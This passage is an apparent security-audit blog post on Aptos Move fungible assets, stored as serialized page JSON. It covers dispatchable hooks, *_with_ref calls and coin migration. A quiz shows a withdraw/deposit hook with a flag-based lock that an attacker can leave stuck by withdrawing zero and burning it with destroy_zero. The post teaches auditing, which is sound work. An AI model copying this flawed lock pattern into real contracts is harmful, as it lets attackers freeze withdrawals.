fa",{"type":24,"tag":90,"props":67912,"children":67913},{"style":120},[67914],{"type":29,"value":78},{"type":24,"tag":90,"props":67916,"children":67917},{"style":146},[67918],{"type":29,"value":63366},{"type":24,"tag":90,"props":67920,"children":67921},{"style":114},[67922],{"type":29,"value":748},{"type":24,"tag":90,"props":67924,"children":67925},{"class":92,"line":606},[67926,67930,67934,67938,67942],{"type":24,"tag":90,"props":67927,"children":67928},{"style":136},[67929],{"type":29,"value":67736},{"type":24,"tag":90,"props":67931,"children":67932},{"style":120},[67933],{"type":29,"value":78},{"type":24,"tag":90,"props":67935,"children":67936},{"style":120},[67937],{"type":29,"value":455},{"type":24,"tag":90,"props":67939,"children":67940},{"style":146},[67941],{"type":29,"value":67251},{"type":24,"tag":90,"props":67943,"children":67944},{"style":114},[67945],{"type":29,"value":748},{"type":24,"tag":90,"props":67947,"children":67948},{"class":92,"line":615},[67949],{"type":24,"tag":90,"props":67950,"children":67951},{"style":114},[67952],{"type":29,"value":1297},{"type":24,"tag":90,"props":67954,"children":67955},{"class":92,"line":623},[67956],{"type":24,"tag":90,"props":67957,"children":67958},{"style":252},[67959],{"type":29,"value":67779},{"type":24,"tag":90,"props":67961,"children":67962},{"class":92,"line":632},[67963,67967,67971,67976,67980,67984,67988,67992,67996,68000],{"type":24,"tag":90,"props":67964,"children":67965},{"style":114},[67966],{"type":29,"value":67787},{"type":24,"tag":90,"props":67968,"children":67969},{"style":120},[67970],{"type":29,"value":1211},{"type":24,"tag":90,"props":67972,"children":67973},{"style":108},[67974],{"type":29,"value":67975},"deposit_with_ref",{"type":24,"tag":90,"props":67977,"children":67978},{"style":114},[67979],{"type":29,"value":117},{"type":24,"tag":90,"props":67981,"children":67982},{"style":136},[67983],{"type":29,"value":67805},{"type":24,"tag":90,"props":67985,"children":67986},{"style":114},[67987],{"type":29,"value":133},{"type":24,"tag":90,"props":67989,"children":67990},{"style":136},[67991],{"type":29,"value":8326},{"type":24,"tag":90,"props":67993,"children":67994},{"style":114},[67995],{"type":29,"value":133},{"type":24,"tag":90,"props":67997,"children":67998},{"style":136},[67999],{"type":29,"value":63559},{"type":24,"tag":90,"props":68001,"children":68002},{"style":114},[68003],{"type":29,"value":571},{"type":24,"tag":90,"props":68005,"children":68006},{"class":92,"line":669},[68007],{"type":24,"tag":90,"props":68008,"children":68009},{"style":114},[68010],{"type":29,"value":827},{"type":24,"tag":68012,"props":68013,"children":68014},"question",{},[68015,68042],{"type":24,"tag":25,"props":68016,"children":68017},{},[68018,68020,68026,68028,68034,68035,68041],{"type":29,"value":68019},"Why hook functions rely on ",{"type":24,"tag":32,"props":68021,"children":68023},{"className":68022},[],[68024],{"type":29,"value":68025},"*_with_ref",{"type":29,"value":68027}," calls? What would happen if the hook function called ",{"type":24,"tag":32,"props":68029,"children":68031},{"className":68030},[],[68032],{"type":29,"value":68033},"dispatchable_fungible_asset::withdraw",{"type":29,"value":3314},{"type":24,"tag":32,"props":68036,"children":68038},{"className":68037},[],[68039],{"type":29,"value":68040},"fungible_asset::withdraw_with_ref",{"type":29,"value":714},{"type":24,"tag":68043,"props":68044,"children":68045},"template",{"v-slot:answer-0":7},[68046,68058],{"type":24,"tag":25,"props":68047,"children":68048},{},[68049,68051,68056],{"type":29,"value":68050},"A1: Hook functions rely on ",{"type":24,"tag":32,"props":68052,"children":68054},{"className":68053},[],[68055],{"type":29,"value":68025},{"type":29,"value":68057}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":24,"tag":25,"props":68059,"children":68060},{},[68061,68063,68068],{"type":29,"value":68062},"A2: A ",{"type":24,"tag":32,"props":68064,"children":68066},{"className":68065},[],[68067],{"type":29,"value":68033},{"type":29,"value":68069}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":24,"tag":25,"props":68071,"children":68072},{},[68073],{"type":29,"value":68074},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":24,"tag":80,"props":68076,"children":68078},{"className":82,"code":68077,"language":84,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[68079],{"type":24,"tag":32,"props":68080,"children":68081},{"__ignoreMap":7},[68082,68177,68197,68212,68232,68275,68290,68297,68304,68423,68442,68457,68476,68519],{"type":24,"tag":90,"props":68083,"children":68084},{"class":92,"line":93},[68085,68089,68093,68097,68101,68105,68109,68113,68117,68121,68125,68129,68133,68137,68141,68145,68149,68153,68157,68161,68165,68169,68173],{"type":24,"tag":90,"props":68086,"children":68087},{"style":136},[68088],{"type":29,"value":63501},{"type":24,"tag":90,"props":68090,"children":68091},{"style":136},[68092],{"type":29,"value":8592},{"type":24,"tag":90,"props":68094,"children":68095},{"style":136},[68096],{"type":29,"value":63510},{"type":24,"tag":90,"props":68098,"children":68099},{"style":114},[68100],{"type":29,"value":1575},{"type":24,"tag":90,"props":68102,"children":68103},{"style":146},[68104],{"type":29,"value":1960},{"type":24,"tag":90,"props":68106,"children":68107},{"style":120},[68108],{"type":29,"value":78},{"type":24,"tag":90,"props":68110,"children":68111},{"style":136},[68112],{"type":29,"value":8317},{"type":24,"tag":90,"props":68114,"children":68115},{"style":114},[68116],{"type":29,"value":9992},{"type":24,"tag":90,"props":68118,"children":68119},{"style":136},[68120],{"type":29,"value":8326},{"type":24,"tag":90,"props":68122,"children":68123},{"style":120},[68124],{"type":29,"value":78},{"type":24,"tag":90,"props":68126,"children":68127},{"style":146},[68128],{"type":29,"value":63387},{"type":24,"tag":90,"props":68130,"children":68131},{"style":114},[68132],{"type":29,"value":1575},{"type":24,"tag":90,"props":68134,"children":68135},{"style":146},[68136],{"type":29,"value":1960},{"type":24,"tag":90,"props":68138,"children":68139},{"style":114},[68140],{"type":29,"value":9015},{"type":24,"tag":90,"props":68142,"children":68143},{"style":136},[68144],{"type":29,"value":63559},{"type":24,"tag":90,"props":68146,"children":68147},{"style":120},[68148],{"type":29,"value":78},{"type":24,"tag":90,"props":68150,"children":68151},{"style":146},[68152],{"type":29,"value":63366},{"type":24,"tag":90,"props":68154,"children":68155},{"style":114},[68156],{"type":29,"value":133},{"type":24,"tag":90,"props":68158,"children":68159},{"style":136},[68160],{"type":29,"value":67805},{"type":24,"tag":90,"props":68162,"children":68163},{"style":120},[68164],{"type":29,"value":78},{"type":24,"tag":90,"props":68166,"children":68167},{"style":120},[68168],{"type":29,"value":455},{"type":24,"tag":90,"props":68170,"children":68171},{"style":146},[68172],{"type":29,"value":67251},{"type":24,"tag":90,"props":68174,"children":68175},{"style":114},[68176],{"type":29,"value":1297},{"type":24,"tag":90,"props":68178,"children":68179},{"class":92,"line":200},[68180,68185,68189,68193],{"type":24,"tag":90,"props":68181,"children":68182},{"style":108},[68183],{"type":29,"value":68184}," assert_withdraw_flag",{"type":24,"tag":90,"props":68186,"children":68187},{"style":114},[68188],{"type":29,"value":117},{"type":24,"tag":90,"props":68190,"children":68191},{"style":97},[68192],{"type":29,"value":6380},{"type":24,"tag":90,"props":68194,"children":68195},{"style":114},[68196],{"type":29,"value":571},{"type":24,"tag":90,"props":68198,"children":68199},{"class":92,"line":239},[68200,68204,68208],{"type":24,"tag":90,"props":68201,"children":68202},{"style":114},[68203],{"type":29,"value":64544},{"type":24,"tag":90,"props":68205,"children":68206},{"style":120},[68207],{"type":29,"value":3013},{"type":24,"tag":90,"props":68209,"children":68210},{"style":114},[68211],{"type":29,"value":14141},{"type":24,"tag":90,"props":68213,"children":68214},{"class":92,"line":248},[68215,68220,68224,68228],{"type":24,"tag":90,"props":68216,"children":68217},{"style":108},[68218],{"type":29,"value":68219}," set_withdraw_flag",{"type":24,"tag":90,"props":68221,"children":68222},{"style":114},[68223],{"type":29,"value":117},{"type":24,"tag":90,"props":68225,"children":68226},{"style":97},[68227],{"type":29,"value":10552},{"type":24,"tag":90,"props":68229,"children":68230},{"style":114},[68231],{"type":29,"value":571},{"type":24,"tag":90,"props":68233,"children":68234},{"class":92,"line":258},[68235,68239,68243,68247,68251,68255,68259,68263,68267,68271],{"type":24,"tag":90,"props":68236,"children":68237},{"style":114},[68238],{"type":29,"value":67787},{"type":24,"tag":90,"props":68240,"children":68241},{"style":120},[68242],{"type":29,"value":1211},{"type":24,"tag":90,"props":68244,"children":68245},{"style":108},[68246],{"type":29,"value":67975},{"type":24,"tag":90,"props":68248,"children":68249},{"style":114},[68250],{"type":29,"value":117},{"type":24,"tag":90,"props":68252,"children":68253},{"style":136},[68254],{"type":29,"value":67805},{"type":24,"tag":90,"props":68256,"children":68257},{"style":114},[68258],{"type":29,"value":133},{"type":24,"tag":90,"props":68260,"children":68261},{"style":136},[68262],{"type":29,"value":8326},{"type":24,"tag":90,"props":68264,"children":68265},{"style":114},[68266],{"type":29,"value":133},{"type":24,"tag":90,"props":68268,"children":68269},{"style":136},[68270],{"type":29,"value":22102},{"type":24,"tag":90,"props":68272,"children":68273},{"style":114},[68274],{"type":29,"value":571},{"type":24,"tag":90,"props":68276,"children":68277},{"class":92,"line":272},[68278,68282,68286],{"type":24,"tag":90,"props":68279,"children":68280},{"style":114},[68281],{"type":29,"value":64544},{"type":24,"tag":90,"props":68283,"children":68284},{"style":120},[68285],{"type":29,"value":3013},{"type":24,"tag":90,"props":68287,"children":68288},{"style":114},[68289],{"type":29,"value":14141},{"type":24,"tag":90,"props":68291,"children":68292},{"class":92,"line":281},[68293],{"type":24,"tag":90,"props":68294,"children":68295},{"style":114},[68296],{"type":29,"value":612},{"type":24,"tag":90,"props":68298,"children":68299},{"class":92,"line":384},[68300],{"type":24,"tag":90,"props":68301,"children":68302},{"emptyLinePlaceholder":16},[68303],{"type":29,"value":245},{"type":24,"tag":90,"props":68305,"children":68306},{"class":92,"line":420},[68307,68311,68315,68319,68323,68327,68331,68335,68339,68343,68347,68351,68355,68359,68363,68367,68371,68375,68379,68383,68387,68391,68395,68399,68403,68407,68411,68415,68419],{"type":24,"tag":90,"props":68308,"children":68309},{"style":136},[68310],{"type":29,"value":63501},{"type":24,"tag":90,"props":68312,"children":68313},{"style":136},[68314],{"type":29,"value":8592},{"type":24,"tag":90,"props":68316,"children":68317},{"style":136},[68318],{"type":29,"value":22067},{"type":24,"tag":90,"props":68320,"children":68321},{"style":114},[68322],{"type":29,"value":1575},{"type":24,"tag":90,"props":68324,"children":68325},{"style":146},[68326],{"type":29,"value":1960},{"type":24,"tag":90,"props":68328,"children":68329},{"style":120},[68330],{"type":29,"value":78},{"type":24,"tag":90,"props":68332,"children":68333},{"style":136},[68334],{"type":29,"value":8317},{"type":24,"tag":90,"props":68336,"children":68337},{"style":114},[68338],{"type":29,"value":9992},{"type":24,"tag":90,"props":68340,"children":68341},{"style":136},[68342],{"type":29,"value":8326},{"type":24,"tag":90,"props":68344,"children":68345},{"style":120},[68346],{"type":29,"value":78},{"type":24,"tag":90,"props":68348,"children":68349},{"style":146},[68350],{"type":29,"value":63387},{"type":24,"tag":90,"props":68352,"children":68353},{"style":114},[68354],{"type":29,"value":1575},{"type":24,"tag":90,"props":68356,"children":68357},{"style":146},[68358],{"type":29,"value":1960},{"type":24,"tag":90,"props":68360,"children":68361},{"style":114},[68362],{"type":29,"value":9015},{"type":24,"tag":90,"props":68364,"children":68365},{"style":136},[68366],{"type":29,"value":22102},{"type":24,"tag":90,"props":68368,"children":68369},{"style":120},[68370],{"type":29,"value":78},{"type":24,"tag":90,"props":68372,"children":68373},{"style":146},[68374],{"type":29,"value":376},{"type":24,"tag":90,"props":68376,"children":68377},{"style":114},[68378],{"type":29,"value":133},{"type":24,"tag":90,"props":68380,"children":68381},{"style":136},[68382],{"type":29,"value":67805},{"type":24,"tag":90,"props":68384,"children":68385},{"style":120},[68386],{"type":29,"value":78},{"type":24,"tag":90,"props":68388,"children":68389},{"style":120},[68390],{"type":29,"value":455},{"type":24,"tag":90,"props":68392,"children":68393},{"style":146},[68394],{"type":29,"value":67251},{"type":24,"tag":90,"props":68396,"children":68397},{"style":114},[68398],{"type":29,"value":517},{"type":24,"tag":90,"props":68400,"children":68401},{"style":120},[68402],{"type":29,"value":78},{"type":24,"tag":90,"props":68404,"children":68405},{"style":146},[68406],{"type":29,"value":63366},{"type":24,"tag":90,"props":68408,"children":68409},{"style":136},[68410],{"type":29,"value":9948},{"type":24,"tag":90,"props":68412,"children":68413},{"style":114},[68414],{"type":29,"value":24829},{"type":24,"tag":90,"props":68416,"children":68417},{"style":120},[68418],{"type":29,"value":3013},{"type":24,"tag":90,"props":68420,"children":68421},{"style":114},[68422],{"type":29,"value":63592},{"type":24,"tag":90,"props":68424,"children":68425},{"class":92,"line":428},[68426,68430,68434,68438],{"type":24,"tag":90,"props":68427,"children":68428},{"style":108},[68429],{"type":29,"value":68184},{"type":24,"tag":90,"props":68431,"children":68432},{"style":114},[68433],{"type":29,"value":117},{"type":24,"tag":90,"props":68435,"children":68436},{"style":97},[68437],{"type":29,"value":10552},{"type":24,"tag":90,"props":68439,"children":68440},{"style":114},[68441],{"type":29,"value":571},{"type":24,"tag":90,"props":68443,"children":68444},{"class":92,"line":437},[68445,68449,68453],{"type":24,"tag":90,"props":68446,"children":68447},{"style":114},[68448],{"type":29,"value":64544},{"type":24,"tag":90,"props":68450,"children":68451},{"style":120},[68452],{"type":29,"value":3013},{"type":24,"tag":90,"props":68454,"children":68455},{"style":114},[68456],{"type":29,"value":14141},{"type":24,"tag":90,"props":68458,"children":68459},{"class":92,"line":574},[68460,68464,68468,68472],{"type":24,"tag":90,"props":68461,"children":68462},{"style":108},[68463],{"type":29,"value":68219},{"type":24,"tag":90,"props":68465,"children":68466},{"style":114},[68467],{"type":29,"value":117},{"type":24,"tag":90,"props":68469,"children":68470},{"style":97},[68471],{"type":29,"value":6380},{"type":24,"tag":90,"props":68473,"children":68474},{"style":114},[68475],{"type":29,"value":571},{"type":24,"tag":90,"props":68477,"children":68478},{"class":92,"line":606},[68479,68483,68487,68491,68495,68499,68503,68507,68511,68515],{"type":24,"tag":90,"props":68480,"children":68481},{"style":114},[68482],{"type":29,"value":67787},{"type":24,"tag":90,"props":68484,"children":68485},{"style":120},[68486],{"type":29,"value":1211},{"type":24,"tag":90,"props":68488,"children":68489},{"style":108},[68490],{"type":29,"value":67796},{"type":24,"tag":90,"props":68492,"children":68493},{"style":114},[68494],{"type":29,"value":117},{"type":24,"tag":90,"props":68496,"children":68497},{"style":136},[68498],{"type":29,"value":67805},{"type":24,"tag":90,"props":68500,"children":68501},{"style":114},[68502],{"type":29,"value":133},{"type":24,"tag":90,"props":68504,"children":68505},{"style":136},[68506],{"type":29,"value":8326},{"type":24,"tag":90,"props":68508,"children":68509},{"style":114},[68510],{"type":29,"value":133},{"type":24,"tag":90,"props":68512,"children":68513},{"style":136},[68514],{"type":29,"value":22102},{"type":24,"tag":90,"props":68516,"children":68517},{"style":114},[68518],{"type":29,"value":1686},{"type":24,"tag":90,"props":68520,"children":68521},{"class":92,"line":615},[68522],{"type":24,"tag":90,"props":68523,"children":68524},{"style":114},[68525],{"type":29,"value":827},{"type":24,"tag":25,"props":68527,"children":68528},{},[68529],{"type":29,"value":68530},"At first glance, this code appears valid, but not to an astute reader.",{"type":24,"tag":68012,"props":68532,"children":68533},{},[68534,68539],{"type":24,"tag":25,"props":68535,"children":68536},{},[68537],{"type":29,"value":68538},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":24,"tag":68043,"props":68540,"children":68541},{"v-slot:answer-0":7},[68542,68562],{"type":24,"tag":25,"props":68543,"children":68544},{},[68545,68547,68552,68554,68560],{"type":29,"value":68546},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":24,"tag":32,"props":68548,"children":68550},{"className":68549},[],[68551],{"type":29,"value":63337},{"type":29,"value":68553}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":24,"tag":32,"props":68555,"children":68557},{"className":68556},[],[68558],{"type":29,"value":68559},"fungible_asset::destroy_zero",{"type":29,"value":68561},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":24,"tag":25,"props":68563,"children":68564},{},[68565],{"type":29,"value":68566},"It's important to understand all the features in the standard.",{"type":24,"tag":850,"props":68568,"children":68570},{"id":68569},"migrating-from-coins-to-fungible-assets",[68571],{"type":29,"value":68572},"Migrating from coins to fungible assets",{"type":24,"tag":25,"props":68574,"children":68575},{},[68576,68578,68583],{"type":29,"value":68577},"If a fungible asset is considered an upgrade to ",{"type":24,"tag":32,"props":68579,"children":68581},{"className":68580},[],[68582],{"type":29,"value":62792},{"type":29,"value":68584},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":24,"tag":68586,"props":68587,"children":68588},"note",{},[68589],{"type":24,"tag":25,"props":68590,"children":68591},{},[68592,68594,68599,68601,68606],{"type":29,"value":68593},"While the ",{"type":24,"tag":32,"props":68595,"children":68597},{"className":68596},[],[68598],{"type":29,"value":62792},{"type":29,"value":68600}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":24,"tag":32,"props":68602,"children":68604},{"className":68603},[],[68605],{"type":29,"value":62792},{"type":29,"value":226},{"type":24,"tag":25,"props":68608,"children":68609},{},[68610,68611,68617,68619,68624,68626,68631],{"type":29,"value":3131},{"type":24,"tag":32,"props":68612,"children":68614},{"className":68613},[],[68615],{"type":29,"value":68616},"coin_to_fungible_asset",{"type":29,"value":68618}," converting function automatically generates a corresponding fungible asset for a ",{"type":24,"tag":32,"props":68620,"children":68622},{"className":68621},[],[68623],{"type":29,"value":62792},{"type":29,"value":68625}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":24,"tag":32,"props":68627,"children":68629},{"className":68628},[],[68630],{"type":29,"value":62792},{"type":29,"value":68632}," is not allowed.",{"type":24,"tag":80,"props":68634,"children":68636},{"className":82,"code":68635,"language":84,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[68637],{"type":24,"tag":32,"props":68638,"children":68639},{"__ignoreMap":7},[68640,68668,68695,68731,68764,68797,68833],{"type":24,"tag":90,"props":68641,"children":68642},{"class":92,"line":93},[68643,68647,68651,68656,68660,68664],{"type":24,"tag":90,"props":68644,"children":68645},{"style":136},[68646],{"type":29,"value":63501},{"type":24,"tag":90,"props":68648,"children":68649},{"style":136},[68650],{"type":29,"value":8592},{"type":24,"tag":90,"props":68652,"children":68653},{"style":136},[68654],{"type":29,"value":68655}," coin_to_fungible_asset",{"type":24,"tag":90,"props":68657,"children":68658},{"style":114},[68659],{"type":29,"value":1575},{"type":24,"tag":90,"props":68661,"children":68662},{"style":146},[68663],{"type":29,"value":8968},{"type":24,"tag":90,"props":68665,"children":68666},{"style":114},[68667],{"type":29,"value":8973},{"type":24,"tag":90,"props":68669,"children":68670},{"class":92,"line":200},[68671,68675,68679,68683,68687,68691],{"type":24,"tag":90,"props":68672,"children":68673},{"style":136},[68674],{"type":29,"value":63011},{"type":24,"tag":90,"props":68676,"children":68677},{"style":120},[68678],{"type":29,"value":78},{"type":24,"tag":90,"props":68680,"children":68681},{"style":146},[68682],{"type":29,"value":8188},{"type":24,"tag":90,"props":68684,"children":68685},{"style":114},[68686],{"type":29,"value":1575},{"type":24,"tag":90,"props":68688,"children":68689},{"style":146},[68690],{"type":29,"value":8968},{"type":24,"tag":90,"props":68692,"children":68693},{"style":114},[68694],{"type":29,"value":8377},{"type":24,"tag":90,"props":68696,"children":68697},{"class":92,"line":239},[68698,68702,68706,68710,68714,68719,68723,68727],{"type":24,"tag":90,"props":68699,"children":68700},{"style":114},[68701],{"type":29,"value":517},{"type":24,"tag":90,"props":68703,"children":68704},{"style":120},[68705],{"type":29,"value":78},{"type":24,"tag":90,"props":68707,"children":68708},{"style":146},[68709],{"type":29,"value":63366},{"type":24,"tag":90,"props":68711,"children":68712},{"style":136},[68713],{"type":29,"value":9948},{"type":24,"tag":90,"props":68715,"children":68716},{"style":146},[68717],{"type":29,"value":68718}," CoinConversionMap",{"type":24,"tag":90,"props":68720,"children":68721},{"style":114},[68722],{"type":29,"value":133},{"type":24,"tag":90,"props":68724,"children":68725},{"style":146},[68726],{"type":29,"value":9098},{"type":24,"tag":90,"props":68728,"children":68729},{"style":114},[68730],{"type":29,"value":269},{"type":24,"tag":90,"props":68732,"children":68733},{"class":92,"line":248},[68734,68738,68743,68747,68752,68756,68760],{"type":24,"tag":90,"props":68735,"children":68736},{"style":97},[68737],{"type":29,"value":206},{"type":24,"tag":90,"props":68739,"children":68740},{"style":136},[68741],{"type":29,"value":68742}," metadata",{"type":24,"tag":90,"props":68744,"children":68745},{"style":120},[68746],{"type":29,"value":216},{"type":24,"tag":90,"props":68748,"children":68749},{"style":136},[68750],{"type":29,"value":68751}," ensure_paired_metadata",{"type":24,"tag":90,"props":68753,"children":68754},{"style":114},[68755],{"type":29,"value":1575},{"type":24,"tag":90,"props":68757,"children":68758},{"style":146},[68759],{"type":29,"value":8968},{"type":24,"tag":90,"props":68761,"children":68762},{"style":114},[68763],{"type":29,"value":1585},{"type":24,"tag":90,"props":68765,"children":68766},{"class":92,"line":258},[68767,68771,68776,68780,68785,68789,68793],{"type":24,"tag":90,"props":68768,"children":68769},{"style":97},[68770],{"type":29,"value":206},{"type":24,"tag":90,"props":68772,"children":68773},{"style":136},[68774],{"type":29,"value":68775}," amount",{"type":24,"tag":90,"props":68777,"children":68778},{"style":120},[68779],{"type":29,"value":216},{"type":24,"tag":90,"props":68781,"children":68782},{"style":108},[68783],{"type":29,"value":68784}," burn_internal",{"type":24,"tag":90,"props":68786,"children":68787},{"style":114},[68788],{"type":29,"value":117},{"type":24,"tag":90,"props":68790,"children":68791},{"style":136},[68792],{"type":29,"value":62759},{"type":24,"tag":90,"props":68794,"children":68795},{"style":114},[68796],{"type":29,"value":571},{"type":24,"tag":90,"props":68798,"children":68799},{"class":92,"line":272},[68800,68804,68808,68813,68817,68821,68825,68829],{"type":24,"tag":90,"props":68801,"children":68802},{"style":114},[68803],{"type":29,"value":67787},{"type":24,"tag":90,"props":68805,"children":68806},{"style":120},[68807],{"type":29,"value":1211},{"type":24,"tag":90,"props":68809,"children":68810},{"style":108},[68811],{"type":29,"value":68812},"mint_internal",{"type":24,"tag":90,"props":68814,"children":68815},{"style":114},[68816],{"type":29,"value":117},{"type":24,"tag":90,"props":68818,"children":68819},{"style":136},[68820],{"type":29,"value":64138},{"type":24,"tag":90,"props":68822,"children":68823},{"style":114},[68824],{"type":29,"value":133},{"type":24,"tag":90,"props":68826,"children":68827},{"style":136},[68828],{"type":29,"value":22102},{"type":24,"tag":90,"props":68830,"children":68831},{"style":114},[68832],{"type":29,"value":1686},{"type":24,"tag":90,"props":68834,"children":68835},{"class":92,"line":281},[68836],{"type":24,"tag":90,"props":68837,"children":68838},{"style":114},[68839],{"type":29,"value":827},{"type":24,"tag":25,"props":68841,"children":68842},{},[68843,68845,68852],{"type":29,"value":68844},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":24,"tag":69,"props":68846,"children":68849},{"href":68847,"rel":68848},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[73],[68850],{"type":29,"value":68851},"noticed an overlooked detail",{"type":29,"value":68853}," in the linking process.",{"type":24,"tag":80,"props":68855,"children":68857},{"className":82,"code":68856,"language":84,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[68858],{"type":24,"tag":32,"props":68859,"children":68860},{"__ignoreMap":7},[68861,68876,68896,68913,68969,68990,69010,69030,69060,69087,69094],{"type":24,"tag":90,"props":68862,"children":68863},{"class":92,"line":93},[68864,68868,68872],{"type":24,"tag":90,"props":68865,"children":68866},{"style":114},[68867],{"type":29,"value":719},{"type":24,"tag":90,"props":68869,"children":68870},{"style":120},[68871],{"type":29,"value":3013},{"type":24,"tag":90,"props":68873,"children":68874},{"style":114},[68875],{"type":29,"value":14141},{"type":24,"tag":90,"props":68877,"children":68878},{"class":92,"line":200},[68879,68883,68887,68892],{"type":24,"tag":90,"props":68880,"children":68881},{"style":114},[68882],{"type":29,"value":64435},{"type":24,"tag":90,"props":68884,"children":68885},{"style":120},[68886],{"type":29,"value":1211},{"type":24,"tag":90,"props":68888,"children":68889},{"style":108},[68890],{"type":29,"value":68891},"create_primary_store_enabled_fungible_asset",{"type":24,"tag":90,"props":68893,"children":68894},{"style":114},[68895],{"type":29,"value":680},{"type":24,"tag":90,"props":68897,"children":68898},{"class":92,"line":239},[68899,68904,68909],{"type":24,"tag":90,"props":68900,"children":68901},{"style":120},[68902],{"type":29,"value":68903}," &",{"type":24,"tag":90,"props":68905,"children":68906},{"style":136},[68907],{"type":29,"value":68908},"metadata_object_cref",{"type":24,"tag":90,"props":68910,"children":68911},{"style":114},[68912],{"type":29,"value":748},{"type":24,"tag":90,"props":68914,"children":68915},{"class":92,"line":248},[68916,68921,68925,68930,68934,68939,68943,68947,68952,68956,68960,68964],{"type":24,"tag":90,"props":68917,"children":68918},{"style":114},[68919],{"type":29,"value":68920}," option",{"type":24,"tag":90,"props":68922,"children":68923},{"style":120},[68924],{"type":29,"value":1211},{"type":24,"tag":90,"props":68926,"children":68927},{"style":108},[68928],{"type":29,"value":68929},"map",{"type":24,"tag":90,"props":68931,"children":68932},{"style":114},[68933],{"type":29,"value":117},{"type":24,"tag":90,"props":68935,"children":68936},{"style":136},[68937],{"type":29,"value":68938},"coin_supply",{"type":24,"tag":90,"props":68940,"children":68941},{"style":114},[68942],{"type":29,"value":1575},{"type":24,"tag":90,"props":68944,"children":68945},{"style":146},[68946],{"type":29,"value":8968},{"type":24,"tag":90,"props":68948,"children":68949},{"style":114},[68950],{"type":29,"value":68951},">(), ",{"type":24,"tag":90,"props":68953,"children":68954},{"style":120},[68955],{"type":29,"value":12784},{"type":24,"tag":90,"props":68957,"children":68958},{"style":136},[68959],{"type":29,"value":5482},{"type":24,"tag":90,"props":68961,"children":68962},{"style":120},[68963],{"type":29,"value":12784},{"type":24,"tag":90,"props":68965,"children":68966},{"style":114},[68967],{"type":29,"value":68968}," MAX_U128),\n",{"type":24,"tag":90,"props":68970,"children":68971},{"class":92,"line":258},[68972,68977,68981,68985],{"type":24,"tag":90,"props":68973,"children":68974},{"style":136},[68975],{"type":29,"value":68976}," name",{"type":24,"tag":90,"props":68978,"children":68979},{"style":114},[68980],{"type":29,"value":1575},{"type":24,"tag":90,"props":68982,"children":68983},{"style":146},[68984],{"type":29,"value":8968},{"type":24,"tag":90,"props":68986,"children":68987},{"style":114},[68988],{"type":29,"value":68989},">(),\n",{"type":24,"tag":90,"props":68991,"children":68992},{"class":92,"line":272},[68993,68998,69002,69006],{"type":24,"tag":90,"props":68994,"children":68995},{"style":136},[68996],{"type":29,"value":68997}," symbol",{"type":24,"tag":90,"props":68999,"children":69000},{"style":114},[69001],{"type":29,"value":1575},{"type":24,"tag":90,"props":69003,"children":69004},{"style":146},[69005],{"type":29,"value":8968},{"type":24,"tag":90,"props":69007,"children":69008},{"style":114},[69009],{"type":29,"value":68989},{"type":24,"tag":90,"props":69011,"children":69012},{"class":92,"line":281},[69013,69018,69022,69026],{"type":24,"tag":90,"props":69014,"children":69015},{"style":136},[69016],{"type":29,"value":69017}," decimals",{"type":24,"tag":90,"props":69019,"children":69020},{"style":114},[69021],{"type":29,"value":1575},{"type":24,"tag":90,"props":69023,"children":69024},{"style":146},[69025],{"type":29,"value":8968},{"type":24,"tag":90,"props":69027,"children":69028},{"style":114},[69029],{"type":29,"value":68989},{"type":24,"tag":90,"props":69031,"children":69032},{"class":92,"line":384},[69033,69038,69042,69047,69051,69056],{"type":24,"tag":90,"props":69034,"children":69035},{"style":114},[69036],{"type":29,"value":69037}," 